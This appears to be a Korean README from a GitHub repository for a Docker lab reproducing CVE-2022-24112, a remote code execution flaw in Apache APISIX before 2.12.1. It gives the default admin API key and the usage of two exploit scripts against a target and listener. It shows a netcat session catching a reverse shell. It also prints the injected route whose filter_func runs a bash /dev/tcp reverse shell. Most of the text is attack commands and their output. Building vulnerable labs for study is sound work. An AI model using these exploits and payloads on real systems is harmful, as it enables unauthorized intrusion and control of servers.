twseptian/cve-2022-24112Apache APISIX < 2.12.1 원격 코드 실행 및 Docker 실습 환경
git clone을 사용하여 이 저장소를 클론한 다음 apisix-docker/examples로 이동할 수 있습니다. 이 docker-compose.yml 파일에서 이미 image: apache/apisix:2.12.0-alpine으로 변경했는데, 이 버전에 취약점이 있기 때문입니다. 그런 다음 docker compose를 사용하여 설치합니다.
docker-compose를 통한 빠른 시작: docker-compose로 모든 모듈을 시작할 수 있습니다.
$ cd example
$ docker-compose -p docker-apisix up -d
docker ps -a 명령어를 사용하여 docker 이미지가 백그라운드에서 실행 중인지 확인합니다. 이 작업이 완료되면 간단한 curl로 API에 접근할 수 있습니다.
$ curl 'http://127.0.0.1:9080/apisix/admin/routes?api_key=edd1c9f034335f136f87ad84b625c8f1' -i
HTTP/1.1 200 OK
Date: Sun, 20 Mar 2022 15:49:17 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/2.12.0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: *
Access-Control-Max-Age: 3600
{"count":0,"action":"get","node":{"key":"\/apisix\/routes","nodes":{},"dir":true}}
poc.py. 익스플로잇 사용법: python3 50829.py http://127.0.0.1:9080/ 172.18.0.1 4444$ python3 50829.py http://127.0.0.1:9080/ 172.18.0.1 4444
. ,
_.._ * __*\./ ___ _ \./._ | _ *-+-
(_][_)|_) |/'\ (/,/'\[_)|(_)| |
| |
(CVE-2022-24112)
{ Coded By: Ven3xy | Github: https://github.com/M4xSec/ }
리버스 셸 연결
$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [172.18.0.1] from (UNKNOWN) [172.19.0.8] 52334
id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
pwd
/usr/local/apisix
ls -la
total 52
drwxr-xr-x 1 root root 4096 Mar 20 15:48 .
drwxr-xr-x 1 root root 4096 Jan 28 09:06 ..
drwxr-xr-x 13 root root 4096 Jan 28 09:07 apisix
drwx------ 2 nobody root 4096 Mar 20 15:48 client_body_temp
drwxr-xr-x 1 root root 4096 Mar 20 15:48 conf
drwxr-xr-x 5 root root 4096 Jan 28 09:07 deps
drwx------ 2 nobody root 4096 Mar 20 15:48 fastcgi_temp
drwxr-xr-x 2 1000 1000 4096 Mar 20 15:48 logs
drwx------ 2 nobody root 4096 Mar 20 15:48 proxy_temp
drwx------ 2 nobody root 4096 Mar 20 15:48 scgi_temp
drwx------ 2 nobody root 4096 Mar 20 15:48 uwsgi_temp
poc2.py. 익스플로잇 사용법: python3 poc2.py -h$ python3 poc2.py -h
>> Apache APISIX 2.12.1 - Remote Code Execution (RCE)
>> by twseptian
usage: poc2.py [-h] -t TARGET_IP -p TARGET_PORT -L LOCALHOST -P LOCALPORT
Apache APISIX 2.12.1 - Remote Code Execution (RCE)
optional arguments:
-h, --help show this help message and exit
-t TARGET_IP, --rhost TARGET_IP
Target IP
-p TARGET_PORT, --rport TARGET_PORT
Target Port
-L LOCALHOST, --lhost LOCALHOST
Localhost/Local IP
-P LOCALPORT, --lport LOCALPORT
Localport
익스플로잇 사용법: python3 poc2.py -t 127.0.0.1 -p 9080 -L 172.18.0.1 -P 4444
$ python3 poc2.py -t 127.0.0.1 -p 9080 -L 172.18.0.1 -P 4444
>> Apache APISIX 2.12.1 - Remote Code Execution (RCE)
>> by twseptian
[!] Take RCE
listening on [any] 4444 ...
connect to [172.18.0.1] from (UNKNOWN) [172.19.0.8] 52372
id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)
pwd
/usr/local/apisix
ls -la
total 52
drwxr-xr-x 1 root root 4096 Mar 20 15:48 .
drwxr-xr-x 1 root root 4096 Jan 28 09:06 ..
drwxr-xr-x 13 root root 4096 Jan 28 09:07 apisix
drwx------ 2 nobody root 4096 Mar 20 15:48 client_body_temp
drwxr-xr-x 1 root root 4096 Mar 20 15:48 conf
drwxr-xr-x 5 root root 4096 Jan 28 09:07 deps
drwx------ 2 nobody root 4096 Mar 20 15:48 fastcgi_temp
drwxr-xr-x 2 1000 1000 4096 Mar 20 15:48 logs
drwx------ 2 nobody root 4096 Mar 20 15:48 proxy_temp
drwx------ 2 nobody root 4096 Mar 20 15:48 scgi_temp
drwx------ 2 nobody root 4096 Mar 20 15:48 uwsgi_temp
$ curl -s 'http://127.0.0.1:9080/apisix/admin/routes?api_key=edd1c9f034335f136f87ad84b625c8f1' | jq
{
"count": 1,
"action": "get",
"node": {
"key": "/apisix/routes",
"nodes": [
{
"modifiedIndex": 161,
"value": {
"priority": 0,
"uri": "/rms/fzxewh",
"status": 1,
"upstream": {
"hash_on": "vars",
"pass_host": "pass",
"nodes": {
"schmidt-schaefer.com": 1
},
"type": "roundrobin",
"scheme": "http"
},
"id": "index",
"create_time": 1647791428,
"filter_func": "function(vars) os.execute('bash -c \\\"0<&160-;exec 160<>/dev/tcp/172.18.0.1/4444;/bin/sh <&160 >&160 2>&160\\\"'); return true end",
"update_time": 1647799320,
"name": "wthtzv"
},
"key": "/apisix/routes/index",
"createdIndex": 16
}
],
"dir": true
}
}